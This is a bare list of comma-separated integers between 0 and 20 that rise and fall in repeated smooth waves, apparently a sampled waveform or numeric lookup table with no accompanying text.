20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 